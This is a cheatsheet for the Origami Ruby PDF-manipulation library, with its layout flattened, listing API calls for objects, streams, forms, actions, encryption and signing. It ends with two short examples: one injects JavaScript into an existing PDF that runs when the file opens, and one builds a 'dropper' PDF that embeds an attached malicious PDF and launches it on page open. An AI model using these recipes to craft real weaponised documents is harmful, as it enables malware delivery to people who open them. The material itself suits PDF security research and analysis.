Origami Cheatsheet Supported stream filters File attachments

:ASCIIHexDecode Hexadecimal encoding. pdf.attach_file(path) Attach a file to the document.

:ASCII85Decode Base-85 encoding.
#!/usr/bin/env ruby
:FlateDecode Inflate/deflate encoding. Attachment options
:LZWDecode LZW encoding. :Register Register attachment in the name directory.
require ’origami’
:RLEDecode Run-length encoding. :EmbeddedName Embedded file name.
include Origami
Object streams :Filter Filter encoding for embedded file stream.
stm.objects Get all embedded objects.
Getting started stm.each Iterate over embedded objects.
Forms
pdf.has_form? Check if document has form.
pdf = PDF.read(path) Parse a document. stm << obj Embed object into stream.
pdf.create_acroform(*fields) Create an Acroform.
pdf = PDF.new Create a new document. stm.include?(n) Check if it embeds object n.
pdf.create_xfa_form(*fields) Create a XFA form.
pdf.Catalog Get PDF catalog. stm.extract(n) Get object n.
pdf.add_fields(*fields) Add fields to document.
pdf << obj Add object to PDF. stm.delete(n) Remove object n.
page.add_annot(*annots) Add annotations to page.
pdf.indirect_objects Get all indirect objects. Pages
pdf.objects Get all objects.
pdf.pages Get ordered page dictionaries.
Flash
pdf[ref] Get object by reference. fspec = pdf.attach_file(swfpath) Embed SWF in PDF.
pdf.append_page Append a new page to document.
pdf.grep(pattern) Search objects by content. page.add_flash_application(fspec) Render SWF on page.
pdf.insert_page Insert a page in the document.
pdf.ls(pattern) Search objects by PDF name.
pdf.saveas(path) Save a document. Actions Encryption
Action::GoTo Jump to a page. pdf.is_encrypted? Check if document is encrypted.
Main classes Action::GoToR Jump to remote document. pdf.encrypt(upwd, opwd) Encrypt a document.
PDF PDF document. Action::GoToE Jump to embedded document. pdf.decrypt(pwd) Decrypt a document.
Revision Document revision. Action::URL Launch URL in browser.
XRef Document cross-reference. Action::JavaScript Run JS script. Encryption options
Trailer PDF trailer structure. Action::Launch Run application. :Algorithm :RC4 or :AES.
Reference Object reference. Action::Named Run predefined action. :KeyLength Key size.
Null PDF null object. Action::SubmitForm Send form data. :EncryptMetadata true or false.
Boolean PDF boolean object. Action::ImportData Load form fields from file. :Permissions See Encryption::Standard::Permissions.
Integer,Real PDF numeric objects. Action::RichMediaExecute Communicate with Flash object.
Name PDF name object. Action triggers Signature
String PDF string object. pdf.is_signed? Check if document is signed.
pdf.register(Names::Root::JAVASCRIPT, name, jsaction)
Dictionary PDF dictionary object. pdf.sign(key, cert) Sign document with key pair.
pdf.onDocumentOpen(action)
Stream PDF stream object. pdf.enable_usage_rights(ur) Enable document rights.
pdf.onDocumentClose(action)
Page PDF page dictionary.
pdf.onDocumentPrint(action)
page.onOpen(action)
Usage rights
Objects page.onClose(action) UsageRights::Rights::DOCUMENT_ALL Save right.
obj = Object.parse(code) Parse PDF object code. field.onKeyStroke(action) UsageRights::Rights::ANNOTS_ALL Annotations rights.
obj.to_s Output PDF code. field.onFormat(action) UsageRights::Rights::FORM_ALL Form rights.
obj.is_indirect? Check if object is indirect. field.onValidate(action) UsageRights::Rights::SIGNATURE_ALL Signature rights.
obj.set_indirect(true) Enforce object indirection. field.onCalculate(action) UsageRights::Rights::EF_ALL Attachment rights.
obj.reference Return reference to object. annot.onMouseOver(action) UsageRights::Rights::ALL All rights.
obj.xrefs Get references to this object. annot.onMouseOut(action)
obj.value Convert to Ruby native object. annot.onMouseDown(action) Saving a document
val.to_o Convert to PDF object. annot.onMouseUp(action) pdf.saveas(path, options)
annot.onFocus(action)
Streams annot.onBlur(action) Save options
stm.dictionary Get stream dictionary. annot.onPageOpen(action) :recompile Recompile PDF (default true).
stm.rawdata Get stream encoded data. annot.onPageClose(action) :rebuildxrefs Rebuild xrefs table (default true).
stm.data Get stream decoded data. annot.onPageVisible(action) :obfuscate Obfuscate PDF code (default false).
stm.setFilter(flt) Set stream encoding filter. annot.onPageInvisible(action) :up_to_revision Save up to specified revision number.

pdf = PDF.read("mydoc.pdf") pdf = PDF.new.append_page; pdf.attach_file("malicious.pdf")

myscript = Stream.new "app.alert(’Hello world’);", :Filter => :FlateDecode dropscript = "this.exportDataObject({cName:’malicious.pdf’,nLaunch:2});"
pdf.onDocumentOpen Action::JavaScript.new(myscript) pdf.pages.first.onOpen Action::JavaScript.new(dropscript)
pdf.saveas("mydoc_infected.pdf") pdf.saveas("dropper.pdf")